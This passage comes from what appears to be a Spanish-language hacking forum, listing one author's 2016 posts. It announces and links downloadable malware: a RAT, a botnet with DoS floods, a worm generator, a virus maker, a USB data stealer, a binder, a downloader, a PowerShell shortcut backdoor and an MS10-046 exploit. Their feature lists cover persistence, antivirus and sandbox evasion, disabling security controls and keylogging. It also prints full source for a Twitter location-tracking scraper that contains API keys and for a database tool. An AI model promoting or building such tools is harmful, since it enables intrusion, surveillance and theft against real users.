        txtDatabase.ReadOnly := true;
        btnLoadDB.Enabled := true;
      end
      else
      begin
        status.Panels[0].Text := '[-] Service not found';
        message_box('DH Database Manager 0.8', 'Service not found', 'Warning');
      end;
    end;

    procedure TFormHome.FormCreate(Sender: TObject);
    begin

      //

      if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
      begin
        @bypass_window := GetProcAddress(LoadLibrary('user32.dll'),
          'ChangeWindowMessageFilter');
        bypass_window(WM_DROPFILES, 1);
        bypass_window(WM_COPYDATA, 1);
        bypass_window($0049, 1);
      end;
      DragAcceptFiles(Handle, true);

      //

      UseLatestCommonDialogs := false;
      odLoadDB.InitialDir := GetCurrentDir;
      odLoadDB.Filter :=
        'SQLITE files (*.sqlite)|*.SQLITE|DB3 Files (*.db3)|*.DB3|S3DB File (*.s3db)|*.S3DB';

      //

      btnLoadDB.Enabled := false;
    end;

    procedure TFormHome.btnConnectClick(Sender: TObject);
    begin

      // MSSQL : localhost\SQLEXPRESS
      // admin:123456

      // MYSQL : localhost:3306
      // root

      if (cmbService.Text = 'MSSQL') then
      begin
        if (txtHostname.Text = '') or (txtUsername.Text = '') or
          (txtPassword.Text = '') then
        begin
          status.Panels[0].Text := '[-] Missing data';
          message_box('DH Database Manager 0.8', 'Missing data', 'Warning');
        end
        else
        begin
          try
            begin
              connection.HostName := txtHostname.Text;

              if not(txtDatabase.Text = '') then
              begin
                connection.Database := txtDatabase.Text;
              end;

              connection.Database := 'sistema';
              connection.Protocol := 'mssql';
              connection.User := txtUsername.Text;
              connection.Password := txtPassword.Text;
              connection.Connect;

              status.Panels[0].Text := '[+] Connected';
              message_box('DH Database Manager 0.8', 'Connected', 'Information');

              if not(txtDatabase.Text = '') then
              begin
                cargarTablas();
              end;

            end;
          except
            begin
              status.Panels[0].Text := '[-] Error connecting';
              message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
            end;
          end;
        end;
      end
      else if (cmbService.Text = 'MYSQL') then
      begin
        if (txtHostname.Text = '') or (txtPort.Text = '') or (txtUsername.Text = '')
        then
        begin
          status.Panels[0].Text := '[-] Missing data';
          message_box('DH Database Manager 0.8', 'Missing data', 'Warning');
        end
        else
        begin
          try
            begin
              connection.HostName := txtHostname.Text;
              connection.Port := StrToInt(txtPort.Text);

              if not(txtDatabase.Text = '') then
              begin
                connection.Database := txtDatabase.Text;
              end;

              connection.Protocol := 'mysql-5';

              connection.User := txtUsername.Text;
              connection.Password := txtPassword.Text;
              connection.Connect;

              status.Panels[0].Text := '[+] Connected';
              message_box('DH Database Manager 0.8', 'Connected', 'Information');

              if not(txtDatabase.Text = '') then
              begin
                cargarTablas();
              end;

            end;
          except
            begin
              status.Panels[0].Text := '[-] Error connecting';
              message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
            end;
          end;
        end;
      end
      else if (cmbService.Text = 'SQLITE') then
      begin
        if not(FileExists(txtDatabase.Text)) then
        begin
          status.Panels[0].Text := '[-] SQLITE Database not found';
          message_box('DH Database Manager 0.8', 'SQLITE Database not found',
            'Warning');
        end
        else
        begin
          try
            begin
              connection.Protocol := 'sqlite-3';
              connection.Database := txtDatabase.Text;
              connection.Connect;

              status.Panels[0].Text := '[+] Connected';
              message_box('DH Database Manager 0.8', 'Connected', 'Information');

              if not(txtDatabase.Text = '') then
              begin
                cargarTablas();
              end;

            end;
          except
            begin
              status.Panels[0].Text := '[-] Error connecting';
              message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
            end;
          end;
        end;
      end
      else
      begin
        status.Panels[0].Text := '[-] Service not found';
        message_box('DH Database Manager 0.8', 'Service not found', 'Warning');
      end;

    end;

    procedure TFormHome.btnDisconnectClick(Sender: TObject);
    begin
      if connection.Connected = true then
      begin
        connection.Connected := false;
        status.Panels[0].Text := '[+] Disconnect';
        message_box('DH Database Manager 0.8', 'Disconnect', 'Information');
      end
      else
      begin
        status.Panels[0].Text := '[-] Not connected';
        message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
      end;
    end;

    procedure TFormHome.btnExecuteClick(Sender: TObject);
    begin
      if (connection.Connected = true) then
      begin
        try
          begin
            query_connection.Active := false;
            query_connection.SQL.Clear;
            query_connection.SQL.Add(txtSQL_Query.Text);
            query_connection.Active := true;
            datasource_connection.DataSet := query_connection;
            datasource_connection.DataSet.Refresh;
            status.Panels[0].Text := '[+] Command Executed';
            message_box('DH Database Manager 0.8', 'Command Executed',
              'Information');
          end;
        except
          on E: Exception do
          begin
            if (E.Message = 'Can not open a Resultset') then
            begin
              status.Panels[0].Text := '[?] SQL Query not return ResultSet';
              message_box('DH Database Manager 0.8',
                'SQL Query not return ResultSet', 'Information');
            end
            else
            begin
              status.Panels[0].Text := '[-] SQL Query Error';
              message_box('DH Database Manager 0.8', 'SQL Query Error', 'Error');
            end;
          end;
        end;
      end
      else
      begin
        status.Panels[0].Text := '[-] Not connected';
        message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
      end;
    end;

    procedure TFormHome.btnLoadDBClick(Sender: TObject);
    begin
      if odLoadDB.Execute then
      begin
        txtDatabase.Text := odLoadDB.filename;
      end;
    end;

    procedure TFormHome.btnLoadTableClick(Sender: TObject);
    begin
      if (connection.Connected = true) then
      begin
        try
          begin
            table_connection.Active := false;
            table_connection.TableName := cmbTables.Text;
            datasource_connection.DataSet := table_connection;
            table_connection.Active := true;
            datasource_connection.DataSet.Refresh;
            status.Panels[0].Text := '[+] Table Loaded';
            message_box('DH Database Manager 0.8', 'Table Loaded', 'Information');
          end;
        except
          begin
            status.Panels[0].Text := '[-] Error loading table';
            message_box('DH Database Manager 0.8', 'Error loading table', 'Error');
          end;
        end;
      end
      else
      begin
        status.Panels[0].Text := '[-] Not connected';
        message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
      end;
    end;

    procedure TFormHome.btnRefreshTablesClick(Sender: TObject);
    begin
      cargarTablas();
    end;

    end.

    // The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#14
Delphi / [Delphi] IP Thief 0.6
Octubre 28, 2016, 05:14:25 PM
Un programa en Delphi y PHP para capturar la IP de una persona con solo enviar un link y poder mostrarlo en el programa en Delphi.

Opciones :

  • Capturar IP,Country,DateTime del visitante
  • Generador de la APP en PHP desde Delphi
  • Mostrar los datos desde la aplicacion en Delphi

    Unas imagenes :





    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#15
Delphi / [Delphi] DH ShortCut Backdoor 0.5
Octubre 25, 2016, 08:48:40 AM
Un programa en Delphi para generar un acceso directo para ejecutar un backdoor usando powershell.

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Eso seria todo.
#16
Delphi / [Delphi] DH ShortCut Exploit 0.8
Octubre 25, 2016, 08:47:11 AM
Un exploit hecho en Delphi para la vulnerabilidad "MS10-046 CPL Lnk Exploit".

El exploit les permite ejecutar una lista de comandos.

Una imagen :



Nota : el DLL "shell69.dll" tienen que moverlo a la carpeta de Windows cuando usen un Binder.

Si quieren bajar el programa lo pueden hacer de aca :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Eso seria todo.
#17
Delphi / [Delphi] Project CagaTron 2.0
Octubre 23, 2016, 06:52:21 PM
Un programa para capturar los datos de cualquier USB que se conecte a la computadora.

Tiene las siguientes opciones :

  • Principales :

  • Funciona en segundo plano
  • Permite usar una contraseña personalizada en el comprimido resultante
  • Permite seleccionar las extensiones que se deseen del usb que se conecte
  • En el comprimido muestra informacion sobre la computadora en la que se capturo los datos

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#18
Delphi / [Delphi] DH Downloader 2.0
Octubre 22, 2016, 01:42:51 PM
Un Downloader hecho en Delphi.

Tiene las siguientes opciones :

  • Principales :

  • Mezclar una imagen con un malware y que la imagen resultante se vea bien
  • Descargar manualmente o generar el stub para descargar la imagen infectada y ejecutar el malware

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#19
Delphi / [Delphi] DH Binder 2.0
Octubre 22, 2016, 01:41:39 PM
Un Binder hecho en Delphi.

Tiene las siguientes opciones :

  • Principales :

  • Agregar infinitos archivos
  • Opcion para ocultar cualquiera de los archivos
  • Se puede cargar de forma : Normal,Oculta y no ejecutar , cualquiera de los archivos

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#20
Delphi / [Delphi] DH Worm 1.0
Octubre 20, 2016, 11:07:55 AM
Un Worm Generator hecho en Delphi.

Tiene las siguientes opciones :

  • Principales :

  • Mezclar una imagen con un malware y que la imagen resultante se vea bien
  • Descargar y dividir el malware de la imagen
  • USB Spread (tecnica de shortcuts y carpetas ocultas)
  • P2P Spread
  • ZIP Spread
  • Antidoto para eliminar los 3 tipos de spread

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#21
Perl / [Perl] DH Twitter Locator 0.6
Octubre 19, 2016, 10:27:22 AM
Un script en Perl para scanear los tweets de cualquier usuario , basado en la idea original de "tinfoleak by Vicente Aguilera Diaz"

Funciones :

  • Extrae informacion del perfil
  • Scanea los tweets en busca de apps y locations
  • Permite cargar las localizaciones en google maps
  • Guarda todo en logs

    El codigo :

    Código: perl

    # !usr/bin/perl
    # DH Twitter Locator 0.6
    # (C) Doddy Hackman 2016
    # Credits :
    # Based in idea original of : tinfoleak by Vicente Aguilera Diaz

    use LWP::UserAgent;
    use IO::Socket::SSL;
    use HTTP::Request::Common;
    use JSON;
    use Data::Dumper;
    use MIME::Base64;
    use Date::Parse;
    use DateTime;
    use Getopt::Long;
    use Color::Output;
    Color::Output::Init;

    my $consumer_key = "IQKbtAYlXLripLGPWd0HUA";
    my $consumer_secret = "GgDYlkSvaPxGxC4X8liwpUoqKwwr3lCADbz8A7ADU";

    my $bearer_token = "$consumer_key:$consumer_secret";
    my $bearer_token_64 = encode_base64($bearer_token);

    my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
    $nave->agent(
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"
    );
    $nave->timeout(5);

    GetOptions(
    "profile"   => \$profile,
    "apps"   => \$apps,
        "locations"  => \$locations,
        "username=s"   => \$username,
        "count=i"   => \$count,
        "savefile=s"  => \$savefile,
    );

    head();

    if ($profile) {
    if($profile && $username) {
    search_profile($username);
    } else {
    sintax();
    }
    }
    if ($apps) {
    if($apps && $username && $count) {
    search_apps($username,$count);
    } else {
    sintax();
    }
    }
    if ($locations) {
    if($locations && $username && $count) {
    search_locations($username,$count);
    } else {
    sintax();
    }
    }
    if(!$profile and !$apps and !$locations) {
    sintax();
    } else {
    if($savefile) {
    printear_logo("\n[+] Logs $savefile saved\n");
    }
    }

    copyright();

    # Functions

    sub search_profile {
    my ($username) = @_;

    printear_titulo("\n[+] Loading Profile in Username : ");
    print $username." ...\n\n";

    #my $code = toma("http://localhost/twitter/getuser.php");
    my $code = get_code("https://api.twitter.com/1.1/users/show.json?screen_name=".$username);

    my $resultado = JSON->new->decode($code);

    my $screen_name = $resultado->{"screen_name"};
    if($screen_name eq "") {
    $screen_name = "Not Found";
    }
    my $name = $resultado->{"name"};
    if($name eq "") {
    $name = "Not Found";
    }
    my $id = $resultado->{"id_str"};
    if($id eq "") {
    $id = "Not Found";
    }
    my $created = parse_date($resultado->{"created_at"});
    if($created eq "") {
    $created = "Not Found";
    }
    my $followers = $resultado->{"followers_count"};
    if($followers eq "") {
    $followers = "Not Found";
    }
    my $tweets_count = $resultado->{"statuses_count"};
    if($tweets_count eq "") {
    $tweets_count = "Not Found";
    }
    my $location = $resultado->{"location"};
    if($location eq "") {
    $location = "Not Found";
    }
    my $description = $resultado->{"description"};
    if($description eq "") {
    $description = "Not Found";
    }
    my $url = $resultado->{"url"};
    if($url eq "") {
    $url = "Not Found";
    }
    my $profile_image = $resultado->{"profile_image_url"};
    if($profile_image eq "") {
    $profile_image = "Not Found";
    }

    printear("Screen Name : ");
    print $screen_name."\n";
    printear("Username : ");
    print $name."\n";
    printear("ID : ");
    print $id."\n";
    printear("Created at : ");
    print $created."\n";
    printear("Followers : ");
    print $followers."\n";
    printear("Tweets count : ");
    print $tweets_count."\n";
    printear("Location : ");
    print $location."\n";
    printear("Description : ");
    print $description."\n";
    printear("URL : ");
    print $url."\n";
    printear("Profile Image : ");
    print $profile_image."\n";

    printear_titulo("\n[+] Profile Loaded\n");

    if($savefile) {
    savefile($savefile,"\n[+] Loading Profile in Username : $username\n");
    savefile($savefile,"Screen Name : $screen_name");
    savefile($savefile,"Username : $name");
    savefile($savefile,"ID : $id");
    savefile($savefile,"Created at : $created");
    savefile($savefile,"Followers : $followers");
    savefile($savefile,"Tweets count : $tweets_count");
    savefile($savefile,"Location : $location");
    savefile($savefile,"Description : $description");
    savefile($savefile,"URL : $url");
    savefile($savefile,"Profile Image : $profile_image");
    savefile($savefile,"\n[+] Profile Loaded");
    }

    #for my $number(1..5) {
    # sleep(1);
    # printear_logo("number : ");
    # printear_titulo($number."\r");
    #}
    #printear_titulo("Number : Finished\n");
    }

    sub search_apps {
    my($username,$count) = @_;

    printear_titulo("\n[+] Searching Apps in Username : ");
    print $username." ...\n\n";

    #my $code = toma("http://localhost/twitter/timeline.php");
    my $code = get_code("https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=".$username."&include_rts=True&count=".$count);

    my $resultado = JSON->new->decode($code);

    my @resultado = @$resultado;

    my $i = 0;

    if(int(@resultado) eq "0") {
    printear_rojo("[-] Tweets not found\n");
    } else {
    printear("[+] Tweets found : ");
    print int(@resultado)."\n\n\n";
    printear("  Tweet\t\t Date\t\t   Apps\n");
    print "  -----------------------------------------------------\n\n";

    if($savefile) {
    savefile($savefile,"\n[+] Searching Apps in Username : $username\n");
    savefile($savefile,"[+] Tweets found : ".int(@resultado)."\n");
    savefile($savefile,"  Tweet\t\t Date\t\t   Apps\n");
    savefile($savefile,"  -----------------------------------------------------\n");
    }

    for my $result(@resultado) {
    $i++;
    my $source_split = $result->{"source"};
    if($source_split=~/>(.*)<\/a>/) {
    my $source = $1;
    my $datetime = parse_date($result->{"created_at"});
    if($source ne "") {
    printf("   %-5s %-22s %-15s\n", $i,$datetime,$source);
    if($savefile) {
    savefile($savefile,"   $i\t$datetime\t$source");
    }
    }
    }
    }

    printear_titulo("\n\n[+] Apps Loaded\n");

    if($savefile) {
    savefile($savefile,"\n[+] Apps Loaded\n");
    }
    }

    }

    sub search_locations {
    my($username,$count) = @_;

    printear_titulo("\n[+] Searching Locations in Username : ");
    print $username." ...\n\n";

    #my $code = toma("http://localhost/twitter/timeline.php");
    my $code = get_code("https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=".$username."&include_rts=True&count=".$count);

    my $resultado = JSON->new->decode($code);

    my @resultado = @$resultado;

    my $i = 0;

    if(int(@resultado) eq "0") {
    printear_rojo("[-] Tweets not found\n");
    } else {
    printear("[+] Tweets found : ");
    print int(@resultado)."\n\n\n";

    printear("  Tweet\t\t Date\t\t     Locations\n");
    print "  -----------------------------------------------------\n\n";

    if($savefile) {
    savefile($savefile,"\n[+] Searching Locations in Username : $username\n");
    savefile($savefile,"[+] Tweets found : ".int(@resultado)."\n");
    savefile($savefile,"  Tweet\t\t Date\t\t   Locations\n");
    savefile($savefile,"  -----------------------------------------------------\n");
    }

    for my $result(@resultado) {
    $i++;
    my $place = $result->{"place"}{"country"};
    my $coordinates1 = $result->{"geo"}{"coordinates"}[0];
    my $coordinates2 = $result->{"geo"}{"coordinates"}[1];
    my $datetime = parse_date($result->{"created_at"});
    if($place ne "") {
    my $data = "";
    if($coordinates1 ne "" && $coordinates2 ne "") {
    $data = $place." [".$coordinates1.",".$coordinates2."]";
    } else {
    $data = $place;
    }
    printf("   %-5s %-22s %-15s\n", $i,$datetime,$data);
    if($savefile) {
    savefile($savefile,"   $i\t$datetime\t$data");
    }
    }
    }
    printear_titulo("\n\n[+] Locations Loaded\n");
    if($savefile) {
    savefile($savefile,"\n[+] Locations Loaded\n");
    }
    }

    }

    # More Functions

    sub get_token {
    my $code = $nave->request(POST(
    "https://api.twitter.com/oauth2/token",
    "Content-Type" => "application/x-www-form-urlencoded;charset=UTF-8",
    "Authorization" => "Basic $bearer_token_64",
    Content => { "grant_type" => "client_credentials" }
    ))->content;
    my $resultado = JSON->new->decode($code);
    my $token = $resultado->{"access_token"};
    return $token;
    }

    sub get_code {
    my $url = shift;
    my $code = $nave->request(GET($url,"Authorization" => "Bearer " . get_token()))->content;
    return $code;
    }

    sub parse_date {
        my $date = shift;       
        $time = str2time($date);   
        my $datetime = DateTime->from_epoch(epoch => $time);
        return $datetime->mdy("/")." ".$datetime->hms;
    }

    sub toma {
        return $nave->get( $_[0] )->content;
    }

    sub savefile {
    my ($filename,$text) = @_;
    open( SAVE, ">>" . $filename );
    print SAVE $text . "\n";
    close SAVE;
    }

    sub printear {
        cprint( "\x036" . $_[0] . "\x030" );
    }

    sub printear_logo {
        cprint( "\x037" . $_[0] . "\x030" );
    }

    sub printear_titulo {
        cprint( "\x0310" . $_[0] . "\x030" );
    }

    sub printear_rojo {
        cprint( "\x034" . $_[0] . "\x030" );
    }

    sub printear_azul {
        cprint( "\x033" . $_[0] . "\x030" );
    }

    sub sintax {
        printear("\n[+] Sintax : ");
        print "perl $0 <option> <value>\n";
        printear("\n[+] Options : \n\n");
        print "-profile : Show profile information\n";
        print "-apps : List apps in tweets\n";
        print "-locations : List locations in tweets\n";
        print "-username <username> : Set username to find\n";
    print "-count <count> : Set count to find\n";
    print "-savefile <filename> : Save results\n";
        printear("\n[+] Example : ");
        print "perl dh_twitter_locator.pl -profile -apps -locations -username test -count 800 -savefile results.txt\n";
        copyright();
    }

    sub head {
        printear_logo("\n-- == DH Twitter Locator 0.6 == --\n\n");
    }

    sub copyright {
        printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
        exit(1);
    }

    #The End ?


    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#22
Delphi / [Delphi] DH Twitter Locator 1.0
Octubre 19, 2016, 10:24:06 AM
Un programa en Delphi para scanear los tweets de cualquier usuario , basado en la idea original de "tinfoleak by Vicente Aguilera Diaz"

Funciones :

  • Extrae informacion del perfil
  • Scanea los tweets en busca de apps y locations
  • Permite cargar las localizaciones en google maps
  • Guarda todo en logs

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#23
Delphi / [Delphi] DH Virus Maker 2.0
Octubre 18, 2016, 10:17:55 AM
Un generador de virus hecho en Delphi.

Tiene las siguientes opciones :

  • Funciones

    [++] Borrar archivos
    [++] Matar procesos
    [++] Ejecutar comandos
    [++] Abrir CD
    [++] Ocultar iconos y taskbar
    [++] Messages Single & Bomber
    [++] SendKeys
    [++] Abrir word y escribir solo
    [++] Crazy Mouse
    [++] Crazy Hour
    [++] Apagar,reiniciar y cerrar sesion
    [++] Abrir URL
    [++] Cargar Paint
    [++] Cambiar texto del taskbar
    [++] Apagar monitor
    [++] Hacer que la computadora hable
    [++] Beep Bomber
    [++] Bloquear el teclado y el mouse
    [++] Cambiar y bloquear el wallpaper
    [++] Cambiar y bloquear el screensaver
    [++] Printer Bomber
    [++] Form Bomber
    [++] HTML Bomber
    [++] Windows Bomber
    [++] Descargar y ejecutar malware con threads

  • Antidoto :

    [++] Activar Firewall
    [++] Activar Regedit
    [++] Activar UAC
    [++] Activar CMD
    [++] Activar Run
    [++] Restaurar y desbloquear wallpaper o screensaver
    [++] Activar Taskmgr
    [++] Activar Updates
    [++] Restaurar texto de taskbar
    [++] Mostrar de nuevo iconos o taskbar

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Unas imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#24
Delphi / [Delphi] DH Botnet 2.0
Octubre 14, 2016, 12:09:35 PM
Una Botnet hecha en Delphi.

Tiene las siguientes opciones :

  • Principales :

    [++] Generar Key por cada infectado
    [++] Generar App en PHP de la botnet desde la GUI principal

  • Funciones

    [++] Listar directorio
    [++] Leer archivos
    [++] Borrar archivos
    [++] Listar procesos
    [++] Matar procesos por nombre
    [++] Ejecutar y leer comandos
    [++] Activar y desactivar regedit
    [++] Activar y desactivar firewall
    [++] Abrir y cerrar CD
    [++] Mostrar y ocultar iconos
    [++] Mostrar y ocultar taskbar
    [++] Mostrar mensajes
    [++] Message Bomber
    [++] Enviar teclas
    [++] Ejecutar Word y hacer que escriba solo
    [++] Volver loco al mouse
    [++] Volver loca la hora
    [++] Apagar,reiniciar y cerrar sesion
    [++] Abrir paginas
    [++] Abrir paint
    [++] Cambiar el texto del taskbar
    [++] Apagar el monitor
    [++] Hacer hablar a la computadora
    [++] Beeps Bomber
    [++] Listar drives,servicios y ventanas activas
    [++] Descargar y ejecutar en segundo plano con threads
    [++] Cambiar y bloquear el wallpaper
    [++] Cambiar y bloquear el screensaver
    [++] Printer Bomber
    [++] Form Bomber
    [++] HTML Bomber
    [++] Windows Bomber
    [++] Bloquear el mouse y el teclado
    [++] Keylogger
    [++] Desintalador

  • DoS :

    [++] SQLI Dos
    [++] HTTP Flood
    [++] Socket Flood
    [++] Slowloris
    [++] UDP Flood

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Unas imagenes :





    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#25
Delphi / [Delphi] DH Rat 2.0
Octubre 12, 2016, 04:07:45 PM
Un Rat hecho en Delphi.

Tiene las siguientes opciones :

  • Principales :

    [++] Conexion reversa
    [++] Conexion codificada

  • Funciones

    [++] Listar directorio
    [++] Leer archivos
    [++] Borrar archivos
    [++] Listar procesos
    [++] Matar procesos por nombre
    [++] Ejecutar y leer comandos
    [++] Activar y desactivar regedit
    [++] Activar y desactivar firewall
    [++] Abrir y cerrar CD
    [++] Mostrar y ocultar iconos
    [++] Mostrar y ocultar taskbar
    [++] Mostrar mensajes
    [++] Message Bomber
    [++] Enviar teclas
    [++] Ejecutar Word y hacer que escriba solo
    [++] Volver loco al mouse
    [++] Volver loca la hora
    [++] Apagar,reiniciar y cerrar sesion
    [++] Abrir paginas
    [++] Abrir paint
    [++] Cambiar el texto del taskbar
    [++] Apagar el monitor
    [++] Hacer hablar a la computadora
    [++] Beeps Bomber
    [++] Listar drives,servicios y ventanas activas
    [++] Descargar y ejecutar en segundo plano con threads
    [++] Cambiar y bloquear el wallpaper
    [++] Cambiar y bloquear el screensaver
    [++] Printer Bomber
    [++] Form Bomber
    [++] HTML Bomber
    [++] Windows Bomber
    [++] Bloquear el mouse y el teclado
    [++] Capturar la webcam de forma remota
    [++] Capturar el escritorio de forma remota
    [++] Keylogger
    [++] Desintalador

  • DoS :

    [++] SQLI Dos
    [++] HTTP Flood
    [++] Socket Flood
    [++] Slowloris
    [++] UDP Flood

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#26
Delphi / [Delphi] DH Auto Clicker 0.6
Octubre 02, 2016, 03:02:58 PM
Un programa en Delphi para usar un clicker automatico para juegos o lo que sea.

Opciones :

  • Capturar posicion del mouse para usar en el programa
  • Timeout para cada click
  • Teclas de acceso rapido para empezar y terminar el clicker
  • Clicks en posiciones aleatorias
  • Los Clicks que permite son izquierda,medio,derecha y doble click

    Una imagen :



    El codigo :

    Código: delphi

    // DH Auto Clicker 0.6
    // (C) Doddy Hackman 2016

    unit auto_clicker;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls,
      Vcl.ComCtrls, Math, Vcl.ImgList, Vcl.Imaging.pngimage;

    type
      TFormHome = class(TForm)
        logo: TImage;
        gbMousePosition: TGroupBox;
        lblXPosition: TLabel;
